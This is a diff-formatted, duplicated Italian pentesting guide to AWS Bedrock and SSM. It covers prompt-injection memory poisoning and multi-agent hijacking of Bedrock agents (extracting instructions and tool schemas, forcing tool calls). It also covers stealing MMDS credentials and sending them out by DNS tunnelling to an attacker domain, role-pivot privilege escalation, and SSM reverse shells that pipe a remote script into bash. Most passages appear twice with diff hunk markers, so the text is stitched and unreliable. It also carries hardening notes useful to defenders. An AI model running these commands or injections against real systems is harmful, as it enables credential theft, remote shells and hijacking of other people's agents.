- Nelle sessioni successive, il contenuto della memory viene iniettato nella sezione system-instruction del prompt di orchestration. Le system instructions influenzano fortemente il planning. Di conseguenza, lagent può chiamare in silenzio uno strumento di web-fetching per esfiltrare i dati di sessione (per esempio, codificando i campi in una query string) senza mostrare questo passaggio nella risposta visibile allutente.
- Il Memory Summarization LLM may include attacker instructions as a new topic (per esempio, "validation goal"). Quel topic viene memorizzato nella per-user memory.
- Nelle sessioni successive, il memory content viene iniettato nella sezione system-instruction del orchestration prompt. Le system instructions influenzano fortemente il planning. Di conseguenza, l'agent può chiamare in silenzio un web-fetching tool per exfiltrate session data (per esempio, encoding fields in a query string) senza mostrare questo passaggio nella risposta visibile all'utente.
### Reproducing in a lab (high level)
- Create a Bedrock Agent con Memory abilitata e uno strumento/action di web-reading che restituisce testo grezzo della pagina allagent.
- Usa i template di orchestration e memory summarization predefiniti.
- Chiedi allagent di leggere un URL controllato dallattaccante contenente il payload in 3 parti.
- Termina la sessione e osserva loutput del Memory Summarization; cerca un custom topic iniettato contenente direttive dellattaccante.
- Avvia una nuova sessione; ispeziona Trace/Model Invocation Logs per vedere la memory iniettata e qualsiasi silent tool call allineata alle direttive iniettate.
- Create a Bedrock Agent con Memory abilitata e un web-reading tool/action che restituisce raw page text all'agent.
- Usa i default orchestration e memory summarization templates.
- Chiedi all'agent di leggere un attacker-controlled URL contenente il payload in 3 parti.
- Termina la sessione e osserva l'output di Memory Summarization; cerca un injected custom topic contenente attacker directives.
- Avvia una nuova sessione; ispeziona Trace/Model Invocation Logs per vedere memory injected e eventuali silent tool calls allineate alle injected directives.
## AWS - Bedrock Agents Multi-Agent Prompt-Injection Chains
### Overview
Le applicazioni multi-agent di Amazon Bedrock aggiungono un secondo prompt/control plane sopra lagent base: un **router** o **supervisor** decide quale collaborator riceve la richiesta dellutente, e i collaborator possono esporre **action groups**, **knowledge bases**, **memory**, o persino **code interpretation**. Se lapplicazione tratta il testo dellutente come policy e disabilita il Bedrock **pre-processing** o i **Guardrails**, un utente legittimo di un chatbot può spesso guidare lorchestration, scoprire i collaborator, leak gli schemi degli strumenti e costringere un collaborator a invocare uno strumento consentito con input scelti dallattaccante.
Le applicazioni multi-agent di Amazon Bedrock aggiungono un secondo prompt/control plane sopra l'agent base: un **router** o **supervisor** decide quale collaborator riceve la richiesta dell'utente, e i collaborator possono esporre **action groups**, **knowledge bases**, **memory**, o persino **code interpretation**. Se l'applicazione tratta il testo utente come policy e disabilita Bedrock **pre-processing** o **Guardrails**, un normale utente di chatbot può spesso steer orchestration, discover collaborators, leak tool schemas, e coerce a collaborator into invoking an allowed tool con input scelti dall'attacker.
Questo è un **application-level prompt-injection / policy-by-prompt failure**, non una vulnerabilità della piattaforma Bedrock.
This is an **application-level prompt-injection / policy-by-prompt failure**, not a Bedrock platform vulnerability.
### Attack surface and preconditions
Lattacco diventa pratico quando tutto questo è vero:
- Lapplicazione Bedrock usa **Supervisor Mode** o **Supervisor with Routing Mode**.
- Un collaborator ha **action groups** ad alto impatto o altre capacità privilegiate.
- Lapplicazione accetta **untrusted user text** da una normale chat UI e lascia che il model decida routing, delegation o authorization.
- **Pre-processing** e/o **Guardrails** sono disabilitati, oppure i backend degli strumenti si fidano degli argomenti selezionati dal model senza controlli indipendenti di authorization.
L'attack diventa praticabile quando tutto questo è vero:
- L'applicazione Bedrock usa **Supervisor Mode** o **Supervisor with Routing Mode**.
- Un collaborator ha **action groups** ad alto impatto o altre capability privilegiate.
- L'applicazione accetta **untrusted user text** da una normale chat UI e lascia che il model decida routing, delegation, o authorization.
- **Pre-processing** e/o **Guardrails** sono disabilitati, oppure i tool backend si fidano degli argomenti selezionati dal model senza controlli indipendenti di authorization.
### 1. Operating mode detection
- In **Supervisor with Routing Mode**, il router prompt contiene un blocco `<agent_scenarios>` con `$reachable_agents$`. Un detection payload può istruire il router a inoltrare al **first listed agent** e restituire un marker univoco, provando che il routing diretto è avvenuto.
- In **Supervisor Mode**, il prompt di orchestration forza le risposte e la comunicazione tra agent attraverso `AgentCommunication__sendMessage()`. Un payload che richiede un messaggio univoco tramite quello strumento identifica un handling mediato dal supervisor.
- In **Supervisor with Routing Mode**, il router prompt contiene un blocco `<agent_scenarios>` con `$reachable_agents$`. Un detection payload può istruire il router a forward to the **first listed agent** e restituire un unique marker, provando che è avvenuto routing diretto.
- In **Supervisor Mode**, il orchestration prompt forza responses e inter-agent communication tramite `AgentCommunication__sendMessage()`. Un payload che richiede un unique message tramite quel tool fingerprinta il trattamento mediato dal supervisor.
Artifact utili:
- `<agent_scenarios>` / `$reachable_agents$` suggerisce fortemente un layer di classificazione del router.
- `AgentCommunication__sendMessage()` suggerisce fortemente lorchestration del supervisor e un primitive esplicito di messaging tra agent.
Useful artifacts:
- `<agent_scenarios>` / `$reachable_agents$` strongly suggests a router classification layer.
- `AgentCommunication__sendMessage()` strongly suggests supervisor orchestration and an explicit inter-agent messaging primitive.
### 2. Collaborator discovery
- In **Routing Mode**, i prompt di discovery dovrebbero apparire **ambiguous o multi-step** così il router esala al supervisor invece di instradare direttamente a un collaborator.
- Il prompt del supervisor incorpora i collaborator dentro `<agents>$agent_collaborators$</agents>`, ma di solito dice anche di non rivelare tools/agents/instructions.
- Invece di chiedere il prompt raw, chiedi **descrizioni funzionali** degli specialisti disponibili. Anche descrizioni parziali bastano per mappare i collaborator su domini come forecasting, solar management, o peak-load optimization.
- In **Routing Mode**, i discovery prompts dovrebbero essere **ambiguo** o multi-step così il router esegue escalation al supervisor invece di routare direttamente a un collaborator.
- Il supervisor prompt incorpora i collaborator dentro `<agents>$agent_collaborators$</agents>`, ma di solito dice anche di non rivelare tools/agents/instructions.
- Invece di chiedere il raw prompt, chiedi **functional descriptions** degli specialisti disponibili. Anche descrizioni parziali bastano per mappare i collaborator su domini come forecasting, solar management, o peak-load optimization.
### 3. Payload delivery to a chosen collaborator
- In **Supervisor Mode**, usa il ruolo del collaborator scoperto e istruisci il supervisor a inoltrare un payload **unchanged** tramite `AgentCommunication__sendMessage()`. Lobiettivo è mantenere lintegrità del payload attraverso lorchestration hop.
- In **Routing Mode**, costruisci il prompt con forti **domain cues** così il classifier del router lo invia in modo consistente al collaborator desiderato senza review del supervisor.
- In **Supervisor Mode**, usa il collaborator role scoperto e istruisci il supervisor a relay a payload **unchanged** tramite `AgentCommunication__sendMessage()`. L'obiettivo è mantenere l'integrità del payload attraverso l'orchestration hop.
- In **Routing Mode**, crea il prompt con forti **domain cues** così il router classifier lo invia in modo consistente al collaborator desiderato senza supervisor review.
### 4. Exploitation progression: leakage to tool misuse
Dopo la consegna, una progressione comune è:
Dopo la delivery, una progression comune è:
1. **Instruction extraction**: costringere il collaborator a parafrasare la propria logica interna, i limiti operativi o le hidden guidance.
2. **Tool schema extraction**: ottenere tool names, purposes, required parameters ed expected outputs. Questo dà allattaccante il contratto API effettivo per un abuso successivo.
3. **Tool misuse**: persuadere il collaborator a invocare una legittima action group con argomenti controllati dallattaccante, causando azioni business non autorizzate come fraudulent ticket creation, workflow triggering, record manipulation, o downstream API abuse.
1. **Instruction extraction**: coerce il collaborator into paraphrasing its internal logic, operational limits, or hidden guidance.
2. **Tool schema extraction**: elicita tool names, purposes, required parameters, and expected outputs. Questo dà all'attacker l'effettivo API contract per un successivo abuse.
3. **Tool misuse**: persuade the collaborator to invoke a legitimate action group con attacker-controlled arguments, causando unauthorized business actions come fraudulent ticket creation, workflow triggering, record manipulation, o downstream API abuse.
Il problema centrale è che il backend lascia decidere al model **who may do what** tramite la semantica del prompt invece di imporre authorization e validation fuori dal LLM.
Il problema centrale è che il backend lascia che il model decida **chi può fare cosa** tramite prompt semantics invece di imporre authorization and validation fuori dal LLM.
### Notes for operators and defenders
- **Trace** e **model invocation logs** sono utili per confermare routing, prompt augmentation, collaborator selection e se le tool call sono state eseguite con gli argomenti forniti dallattaccante.
- Tratta ogni collaborator come un trust boundary separato: limita strettamente le action groups, valida gli input degli strumenti nel backend e richiedi authorization lato server prima di azioni ad alto impatto.
- Il Bedrock **pre-processing** può rifiutare o classificare richieste sospette prima dellorchestration, e i **Guardrails** possono bloccare gli attacchi di prompt-injection in runtime. Dovrebbero essere abilitati anche se i template del prompt contengono già regole tipo “do not disclose”.
- **Trace** e **model invocation logs** sono utili per confermare routing, prompt augmentation, collaborator selection, e se i tool call sono stati eseguiti con gli arguments forniti dall'attacker.
- Tratta ogni collaborator come un trust boundary separato: limita strettamente gli action group, valida gli input dei tool nel backend, e richiedi authorization lato server prima di azioni ad alto impatto.
- Bedrock **pre-processing** può rifiutare o classificare richieste sospette prima dell'orchestration, e **Guardrails** p bloccare i tentativi di prompt-injection a runtime. Dovrebbero essere abilitati anche se i prompt template contengono già regole tipo “do not disclose”.
## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse
### Overview
Amazon Bedrock AgentCore Code Interpreter gira dentro una AWS-managed microVM e supporta diversi network mode. La domanda interessante di post-exploitation non è "can code run?" perché lesecuzione di codice è la funzionalità del prodotto, ma se lisolation gestita impedisce ancora **credential theft**, **exfiltration** e **C2** una volta eseguito il codice.
Amazon Bedrock AgentCore Code Interpreter gira dentro un AWS-managed microVM e supporta diversi network modes. La domanda interessante di post-exploitation non è "can code run?" perché l'esecuzione di codice è la feature del prodotto, ma se l'isolamento gestito previene ancora **credential theft**, **exfiltration**, e **C2** una volta che il code gira.
La chain utile è:
1. Accesso allendpoint metadata della microVM a `169.254.169.254`
2. Recupero di temporary credentials da MMDS se laccesso senza token è ancora permesso
3. Abuso della recursion DNS della sandbox come covert egress path
4. Exfiltration di credentials o esecuzione di un control loop basato su DNS
1. Accedere all'endpoint metadata del microVM a `169.254.169.254`
2. Recuperare temporary credentials da MMDS se l'accesso senza token è ancora consentito
3. Abuse sandbox DNS recursion come covert egress path
4. Exfiltrate credenziali o eseguire un DNS-based control loop
Questa è la versione specifica per Bedrock del classico percorso di attacco cloud **metadata -> credentials -> exfiltration**.
Questa è la versione specifica di Bedrock del classico cloud attack path **metadata -> credentials -> exfiltration**.
### Main primitives
#### 1. Runtime SSRF -> MMDS credentials
AgentCore Runtime non dovrebbe esporre arbitraria code execution agli utenti finali, quindi il primitive interessante è **SSRF**. Se il runtime può essere indotto a richiedere `http://169.254.169.254/...` e MMDS accetta richieste `GET` semplici senza un token MMDSv2, la SSRF diventa un primitive diretto di credential theft.
AgentCore Runtime non dovrebbe esporre arbitrary code execution agli utenti finali, quindi la primitiva interessante qui è **SSRF**. Se il runtime può essere indotto a richiedere `http://169.254.169.254/...` e MMDS accetta richieste `GET` in chiaro senza un MMDSv2 token, la SSRF diventa una primitiva diretta di credential theft.
Questo ricrea il vecchio **IMDSv1 risk model**:
```bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
```
Se MMDSv2 è enforced, un semplice SSRF di solito perde impatto perché richiede anche una precedente richiesta `PUT` per ottenere il session token. Se laccesso compatibile con MMDSv1 è ancora abilitato su agent/tools più vecchi, tratta Runtime SSRF come un percorso di credential theft ad alta severità.
Se MMDSv2 è enforced, un semplice SSRF di solito perde impatto perché richiede anche una precedente richiesta `PUT` per ottenere il session token. Se laccesso compatibile con MMDSv1 è ancora abilitato su vecchi agent/tools, tratta Runtime SSRF come un percorso ad alta severità per il furto di credential.
#### 2. Code Interpreter -> MMDS reconnaissance
Dentro Code Interpreter, larbitrary code execution esiste già per design, quindi MMDS conta soprattutto perché espone:
Dentro Code Interpreter, lesecuzione di codice arbitrario esiste già per design, quindi MMDS conta soprattutto perché espone:
- temporary IAM role credentials
- instance metadata and tags
@@ -169,20 +169,20 @@ Percorsi interessanti dalla ricerca:
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`
La S3 pre-signed URL restituita è utile perché dimostra che il sandbox ha ancora bisogno di un qualche outbound path verso AWS services. Questo è un forte indizio che "isolated" significa solo "restricted", non "offline".
LS3 pre-signed URL restituito è utile perché dimostra che il sandbox ha ancora bisogno di un percorso in uscita verso i servizi AWS. Questo è un forte indizio che isolated significa solo restricted, non offline.
#### 3. Sandbox DNS recursion -> DNS tunneling
La scoperta di rete più preziosa è che la modalità Sandbox può ancora eseguire **DNS resolution**, inclusa la recursion per domini pubblici arbitrari. Anche se il traffico TCP/UDP diretto è bloccato, questo basta per **DNS tunneling**.
La scoperta di rete più utile è che la modalità Sandbox può ancora eseguire **DNS resolution**, inclusa la recursion per domini pubblici arbitrari. Anche se il traffico dati TCP/UDP diretto è bloccato, questo basta per **DNS tunneling**.
Quick validation from inside the interpreter:
Quick validation dallinterno dellinterpreter:
```python
import socket
socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
socket.gethostbyname_ex("attacker.example")
```
Se i domini controllati dall'attaccante si risolvono, usa il nome della query stesso come trasporto:
Se i domini controllati dall'attaccante risolvono, usa il nome della query stesso come trasporto:
```python
import base64
import socket
@@ -193,38 +193,38 @@ socket.gethostbyname_ex(f"{label}.attacker.example")
```
Il recursive resolver inoltra la query al DNS server autorevole dell'attaccante, quindi il payload viene recuperato dai log DNS. Ripetere questo in chunk ti dà un semplice **egress channel** per:
- credenziali MMDS
- MMDS credentials
- environment variables
- source code
- command output
Le risposte DNS possono anche trasportare piccoli valori di tasking, abilitando un loop base di **bidirectional DNS C2**.
Le risposte DNS possono anche trasportare piccoli valori di tasking, abilitando un basic **bidirectional DNS C2** loop.
### Practical post-exploitation chain
1. Ottieni code execution in AgentCore Code Interpreter o SSRF in AgentCore Runtime.
2. Interroga MMDS e recupera le credenziali del ruolo associato quando i metadata senza token sono disponibili.
3. Verifica se la sandbox/public DNS recursion raggiunge un dominio dell'attaccante.
4. Dividi e codifica le credenziali nei subdomain.
5. Ricostruiscile dai log DNS autorevoli e riutilizzale con le AWS APIs.
1. Ottenere code execution in AgentCore Code Interpreter o SSRF in AgentCore Runtime.
2. Interrogare MMDS e recuperare le attached role credentials quando è disponibile tokenless metadata.
3. Verificare se la recursion DNS di sandbox/public raggiunge un attacker domain.
4. Chunk e encode delle credentials in subdomain.
5. Ricostruirle dai log DNS autorevoli e riutilizzarle con AWS APIs.
Per il pivoting diretto dell'execution-role tramite una configurazione dell'interprete più privilegiata, controlla anche [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
Per il pivoting diretto dell'execution-role tramite una configurazione dell'interpreter più privilegiata, vedi anche [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).
### Pre-signed URL signer identity leak
I valori tag MMDS non documentati possono anche far trapelare informazioni sull'identità del backend. Se rompi intenzionalmente la signature della pre-signed URL S3 restituita, la risposta `SignatureDoesNotMatch` può rivelare l'`AWSAccessKeyID` usata per la firma. Quell'ID della key può poi essere mappato a un AWS account proprietario:
I valori dei tag MMDS undocumented possono anche leakare informazioni sull'identità del backend. Se rompi intenzionalmente la signature della pre-signed URL S3 restituita, la risposta `SignatureDoesNotMatch` può rivelare l'`AWSAccessKeyID` di signing. Quel key ID può poi essere mappato a un AWS account proprietario:
```bash
aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
```
Questo non concede automaticamente accesso in scrittura fuori dallo scope del percorso dell'oggetto pre-signed, ma aiuta a mappare l'infrastruttura gestita da AWS dietro il servizio Bedrock.
Questo non concede automaticamente accesso in scrittura al di fuori dell'ambito del path dell'oggetto pre-signed, ma aiuta a mappare l'infrastruttura gestita da AWS dietro il servizio Bedrock.
### Hardening / detection
- Preferisci **VPC mode** quando ti serve una vera isolamento di rete invece di fare affidamento su Sandbox mode.
- Limita l'uscita DNS in VPC mode con **Route 53 Resolver DNS Firewall**.
- Richiedi **MMDSv2** dove AgentCore espone quel controllo, e disabilita la compatibilità MMDSv1 sui vecchi agenti/tool.
- Tratta qualsiasi Runtime SSRF come potenzialmente equivalente a furto di credenziali dai metadata finché non viene verificato il comportamento solo-MMDSv2.
- Mantieni gli execution roles di AgentCore strettamente limitati perché il DNS tunneling trasforma l'esecuzione di codice "non-internet" in un canale pratico di exfiltration.
- Preferisci la modalità **VPC** quando ti serve una vera network isolation invece di affidarti alla modalità Sandbox.
- Limita l'uscita DNS in modalità VPC con **Route 53 Resolver DNS Firewall**.
- Richiedi **MMDSv2** dove AgentCore espone quel controllo, e disabilita la compatibilità con MMDSv1 su agenti/tool più vecchi.
- Tratta qualsiasi Runtime SSRF come potenzialmente equivalente a un furto di credenziali dei metadata finché non viene verificato il comportamento solo-MMDSv2.
- Mantieni gli execution roles di AgentCore strettamente limitati perché il DNS tunneling trasforma l'execution di codice "non-internet" in un pratico canale di exfiltration.
## References
@@ -8,19 +8,19 @@
AgentCore Code Interpreter è un ambiente di esecuzione gestito. I **Custom Code Interpreters** possono essere configurati con un **`executionRoleArn`** che “fornisce permessi al code interpreter per accedere ai servizi AWS”.
Se un **principal IAM con privilegi inferiori** può **avviare + invocare** una sessione Code Interpreter configurata con un **execution role con privilegi più elevati**, il chiamante può di fatto **pivotare nei permessi dell'execution role** (lateral movement / privilege escalation a seconda dell'ambito del ruolo).
Se un **IAM principal con privilegi inferiori** può **avviare + invocare** una sessione di Code Interpreter configurata con un **execution role più privilegiato**, il chiamante può di fatto **pivotare nei permessi dell'execution role** (lateral movement / privilege escalation a seconda dello scope del role).
> [!NOTE]
> Questo è tipicamente un problema di **misconfiguration / excessive permissions** (assegnare permessi troppo ampi all'execution role dell'interpreter e/o concedere un accesso invoke troppo ampio).
> AWS avverte esplicitamente di evitare privilege escalation assicurando che gli execution role abbiano privilegi **uguali o inferiori** rispetto alle identità autorizzate a invocare.
> Questo è in genere un problema di **misconfiguration / excessive permissions** (assegnare permessi ampi all'execution role dell'interpreter e/o concedere un accesso invoca molto ampio).
> AWS avverte esplicitamente di evitare privilege escalation assicurandosi che gli execution role abbiano privilegi **uguali o inferiori** rispetto alle identità autorizzate a invocare.
#### Preconditions (common misconfiguration)
- Esiste un **custom code interpreter** con un **execution role** con privilegi eccessivi (es: accesso a S3/Secrets/SSM sensibili o capacità simili a IAM-admin).
- Un utente (developer/auditor/identità CI) ha i permessi per:
- Esiste un **custom code interpreter** con un **execution role** eccessivamente privilegiato (ad es. accesso a S3/Secrets/SSM sensibili o capacità simili a IAM-admin).
- Un utente (developer/auditor/CI identity) ha permessi per:
- avviare sessioni: `bedrock-agentcore:StartCodeInterpreterSession`
- invocare tools: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) L'utente può anche creare interpreters: `bedrock-agentcore:CreateCodeInterpreter` (gli consente di creare un nuovo interpreter configurato con un execution role, a seconda dei guardrail dell'organizzazione).
- invocare tool: `bedrock-agentcore:InvokeCodeInterpreter`
- (Optional) L'utente può anche creare interpreters: `bedrock-agentcore:CreateCodeInterpreter` (gli permette di creare un nuovo interpreter configurato con un execution role, a seconda dei guardrail dell'org).
#### Recon (identify custom interpreters and execution role usage)
@@ -31,7 +31,7 @@ aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_I
```
> Il comando create-code-interpreter supporta `--execution-role-arn` che definisce quali permessi AWS avrà l'interpreter.
#### Step 1 - Start a session (this returns a `sessionId`, not an interactive shell)
#### Step 1 - Avvia una sessione (questo restituisce un `sessionId`, non una shell interattiva)
```bash
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
@@ -45,9 +45,9 @@ echo "SessionId: $SESSION_ID"
```
#### Step 2 - Invoke code execution (Boto3 or signed HTTPS)
Non cè **nessuna shell python interattiva** da `start-code-interpreter-session`. Lesecuzione avviene tramite **InvokeCodeInterpreter**.
Non c'è **nessuna shell python interattiva** da `start-code-interpreter-session`. L'esecuzione avviene tramite **InvokeCodeInterpreter**.
**Opzione A - Esempio Boto3 (esegui Python + verifica identità):**
**Option A - esempio Boto3 (execute Python + verify identity):**
```python
import boto3
@@ -68,9 +68,9 @@ arguments={
for event in resp.get("stream", []):
print(event)
```
Se l'interpreter è configurato con un execution role, l'output di `sts:GetCallerIdentity()` dovrebbe riflettere l'identità di quel role (non quella del low-priv caller), dimostrando il pivot.
Se linterpreter è configurato con un execution role, loutput di `sts:GetCallerIdentity()` dovrebbe riflettere lidentità di quel role (non quella del chiamante a basso privilegio), dimostrando il pivot.
**Option B - Signed HTTPS call (awscurl):**
**Opzione B - Signed HTTPS call (awscurl):**
```bash
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
@@ -89,25 +89,25 @@ awscurl -X POST \
```
#### Impatto
* **Lateral movement** verso qualunque accesso AWS che il ruolo di esecuzione dell'interpreter ha.
* **Lateral movement** in qualunque accesso AWS abbia il ruolo di esecuzione dell'interpreter.
* **Privilege escalation** se il ruolo di esecuzione dell'interpreter è più privilegiato del chiamante.
* Rilevamento più difficile se gli eventi dati di CloudTrail per le invocazioni dell'interpreter non sono abilitati (le invocazioni potrebbero non essere registrate di default, a seconda della configurazione).
#### Mitigations / Hardening
#### Mitigazioni / Hardening
* **Least privilege** sul `executionRoleArn` dell'interpreter (trattalo come i ruoli di esecuzione Lambda / ruoli CI).
* **Restrict who can invoke** (`bedrock-agentcore:InvokeCodeInterpreter`) e chi può avviare sessioni.
* Usa **SCPs** per negare InvokeCodeInterpreter tranne che per i ruoli runtime degli agent approvati (l'enforcement a livello di org può essere necessario).
* Abilita gli appropriati **CloudTrail data events** per AgentCore dove applicabile; genera alert su invocazioni e creazione di sessioni inattese.
* Abilita gli eventi dati di **CloudTrail** appropriati per AgentCore dove applicabile; genera alert su invocazioni inattese e creazione di sessioni.
## Amazon Bedrock Agents
### `lambda:UpdateFunctionCode`, `bedrock:InvokeAgent` - Agent Tool Hijacking via Lambda
Bedrock Agents può usare **Lambda-backed action groups** come tool (esecuzione esterna). Se un principal può **modificare il codice di una funzione Lambda usata da un agent**, e poi può **invocare l'agent**, può eseguire codice controllato dall'attaccante sotto il **ruolo di esecuzione Lambda**.
Bedrock Agents può usare **Lambda-backed action groups** come tools (external execution). Se un principal può **modificare il codice di una funzione Lambda usata da un agent**, e poi può **invocare l'agent**, può eseguire codice controllato dall'attaccante sotto il **Lambda execution role**.
> [!NOTE]
> Questo è un **cross-service trust abuse** (Bedrock → Lambda), non una vulnerability. L'attaccante potrebbe non essere in grado di invocare Lambda direttamente, ma può comunque attivarlo tramite l'agent.
> Questo è un **cross-service trust abuse** (Bedrock → Lambda), non una vulnerability. L'attaccante potrebbe non riuscire a invocare Lambda direttamente, ma può comunque triggerarla tramite l'agent.
#### Preconditions (common misconfiguration)
@@ -115,7 +115,7 @@ Bedrock Agents può usare **Lambda-backed action groups** come tool (esecuzione
- L'attaccante ha:
- `lambda:UpdateFunctionCode`
- `bedrock:InvokeAgent`
- Il ruolo di esecuzione Lambda ha permessi più ampi dell'attaccante
- Il Lambda execution role ha permessi più ampi dell'attaccante
- L'attaccante può identificare la Lambda usata dall'agent
#### Recon
@@ -140,14 +140,14 @@ aws lambda update-function-code \
--function-name <FUNCTION_NAME> \
--zip-file fileb://payload.zip
```
Esempio di payload:
Payload di esempio:
```python
import boto3
def lambda_handler(event, context):
return boto3.client("sts").get_caller_identity()
```
Trigger via agent:
Trigger tramite agent:
```bash
aws bedrock-agent-runtime invoke-agent \
--agent-id <AGENT_ID> \
@@ -157,16 +157,16 @@ aws bedrock-agent-runtime invoke-agent \
```
#### Impatto
* **Privilege escalation** nella Lambda execution role
* **Privilege escalation** nell'Lambda execution role
* **Data exfiltration** dai servizi AWS
* **Cross-service abuse** tramite esecuzione di agent fidati
* **Cross-service abuse** tramite trusted agent execution
#### Mitigazioni
* **Restrict** `lambda:UpdateFunctionCode`
* Usa ruoli Lambda con **least-privilege**
* Usa ruoli Lambda **least-privilege**
* **Monitor** le modifiche al codice Lambda
* **Audit** l'uso dei tool dell'agent Bedrock
* **Audit** l'uso dei tool di Bedrock agent
## References
@@ -4,7 +4,7 @@
## SSM
Per maggiori info su SSM, controlla:
Per ulteriori informazioni su SSM, controlla:
{{#ref}}
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
@@ -12,7 +12,7 @@ Per maggiori info su SSM, controlla:
### `ssm:SendCommand`
Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle istanze** che eseguono Amazon SSM Agent e **compromettere l'IAM Role** in esecuzione al loro interno.
Un attacker con il permesso **`ssm:SendCommand`** può **eseguire comandi nelle instances** che eseguono Amazon SSM Agent e **compromettere l'IAM Role** in esecuzione al loro interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -23,7 +23,7 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"
```
Nel caso in cui tu stia usando questa tecnica per escalare i privilegi allinterno di una istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:
Nel caso in cui tu stia usando questa tecnica per escalare i privilegi all'interno di un'istanza EC2 già compromessa, potresti semplicemente catturare la rev shell localmente con:
```bash
# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
@@ -31,11 +31,11 @@ aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"
```
**Impatto Potenziale:** privesc diretta ai ruoli IAM EC2 collegati alle istanze in esecuzione con SSM Agents in esecuzione.
**Impatto potenziale:** privesc diretta ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione.
### `ssm:StartSession`
Un attacker con il permesso **`ssm:StartSession`** può **avviare una sessione SSH-like nelle instances** che eseguono Amazon SSM Agent e **compromettere l'IAM Role** in esecuzione al suo interno.
Un attaccante con il permesso **`ssm:StartSession`** può **avviare una sessione simile a SSH nelle istanze** che eseguono Amazon SSM Agent e **compromettere il IAM Role** in esecuzione al loro interno.
```bash
# Check for configured instances
aws ssm describe-instance-information
@@ -47,23 +47,23 @@ aws ssm start-session --target "$INSTANCE_ID"
> [!CAUTION]
> Per avviare una sessione devi avere installato **SessionManagerPlugin**: [https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html](https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html)
**Potential Impact:** privesc diretta ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione.
**Potential Impact:** Direct privesc to the EC2 IAM roles attached to running instances with SSM Agents running.
#### Privesc to ECS
Quando le **ECS tasks** vengono eseguite con **`ExecuteCommand` abilitato** gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo avviene creando un canale sicuro tra il device che usi per iniziare il comando “_exec_“ e il container di destinazione con SSM Session Manager. (SSM Session Manager Plugin necessario per farlo funzionare)\
Pertanto, gli utenti con `ssm:StartSession` potranno **ottenere una shell dentro le ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
Quando i **ECS tasks** vengono eseguiti con **`ExecuteCommand` enabled**, gli utenti con permessi sufficienti possono usare `ecs execute-command` per **eseguire un comando** all'interno del container.\
Secondo [**the documentation**](https://aws.amazon.com/blogs/containers/new-using-amazon-ecs-exec-access-your-containers-fargate-ec2/) questo viene fatto creando un canale sicuro tra il dispositivo che usi per avviare il comando “_exec_“ e il container target con SSM Session Manager. (SSM Session Manager Plugin necesary for this to work)\
Di conseguenza, gli utenti con `ssm:StartSession` potranno **ottenere una shell dentro i ECS tasks** con quell'opzione abilitata semplicemente eseguendo:
```bash
aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"
```
![](<../../../images/image (185).png>)
**Impatto Potenziale:** privesc diretto ai ruoli IAM `ECS` attaccati ai task in esecuzione con `ExecuteCommand` abilitato.
**Potential Impact:** Direct privesc to the `ECS`IAM roles attached to running tasks with `ExecuteCommand` enabled.
### `ssm:ResumeSession`
Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere il ruolo IAM** in esecuzione al suo interno.
Un attacker con il permesso **`ssm:ResumeSession`** può ri-**avviare una sessione simile a SSH nelle istanze** che eseguono Amazon SSM Agent con uno stato di sessione SSM **disconnesso** e **compromettere l'IAM Role** in esecuzione al suo interno.
```bash
# Check for configured instances
aws ssm describe-sessions
@@ -72,11 +72,11 @@ aws ssm describe-sessions
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5
```
**Impatto Potenziale:** Privesc diretto ai ruoli IAM EC2 associati alle istanze in esecuzione con SSM Agents in esecuzione e sessioni disconnesse.
**Potenziale impatto:** privesc diretto ai ruoli IAM EC2 collegati alle istanze in esecuzione con SSM Agents in esecuzione e sessioni disconnesse.
### `ssm:DescribeParameters`, (`ssm:GetParameter` | `ssm:GetParameters`)
Un attacker con i permessi menzionati sarà in grado di elencare i **parametri SSM** e **leggerli in chiaro**. In questi parametri puoi frequentemente **trovare informazioni sensibili** come chiavi SSH o API key.
Un attacker con i permessi menzionati sarà in grado di elencare i **parametri SSM** e **leggerli in clear-text**. In questi parametri spesso puoi **trovare informazioni sensibili** come chiavi SSH o API keys.
```bash
aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
@@ -87,15 +87,15 @@ aws ssm get-parameter --name id_rsa --with-decryption
### `ssm:ListCommands`
Un attacker con questa permission può listare tutti i **commands** inviati e, si spera, trovare **informazioni sensibili** al loro interno.
